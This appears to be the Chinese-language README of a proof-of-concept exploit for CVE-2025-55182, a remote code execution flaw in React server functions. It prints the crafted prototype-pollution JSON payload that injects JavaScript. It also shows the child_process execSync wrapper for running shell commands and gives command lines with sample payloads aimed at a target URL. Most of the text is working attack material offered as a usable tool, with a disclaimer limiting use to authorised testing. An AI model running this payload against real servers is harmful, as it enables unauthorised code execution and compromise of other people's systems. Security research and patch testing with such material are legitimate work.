
这是一个针对 CVE-2025-55182 (React SSR RCE) 的 POC 脚本。
本 POC 仅供教育和安全研究使用。该漏洞已在受影响包的最新版本中得到修复。请仅在您拥有或已获得明确测试许可的系统上使用此工具。对于因使用本工具而产生的任何法律行为,本人概不负责。
该利用工具创建了一个特制的 JSON 对象,滥用 JavaScript 的原型链:
{
"then": "$1:__proto__:then", // 污染原型链
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // 注入的恶意代码
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
POC 支持两种模式:
标准模式(默认):
process.mainModule.require("child_process").execSync("YOUR_COMMAND");
将 shell 命令封装后通过 Node.js child_process 执行。
原始模式(使用 --raw 标志):
// 直接执行任意 JavaScript
允许直接执行 JavaScript 代码,无需 shell 命令封装。
bun run index.ts <command_file> <target_url>
示例:
# 创建命令文件
echo "whoami" > cmd.txt
# 针对易受攻击的端点执行
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <js_file> <target_url>
示例:
# 创建 JavaScript 载荷
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# 执行原始 JavaScript
bun run index.ts --raw payload.js http://localhost:3000
<file_path>:包含命令或 JavaScript 代码的文件路径<target_url>:React Server Function 端点的 URL--raw:(可选)执行原始 JavaScript 而非 shell 命令发现者: Lachlan Davidson
披露方: React 团队 & Meta 安全团队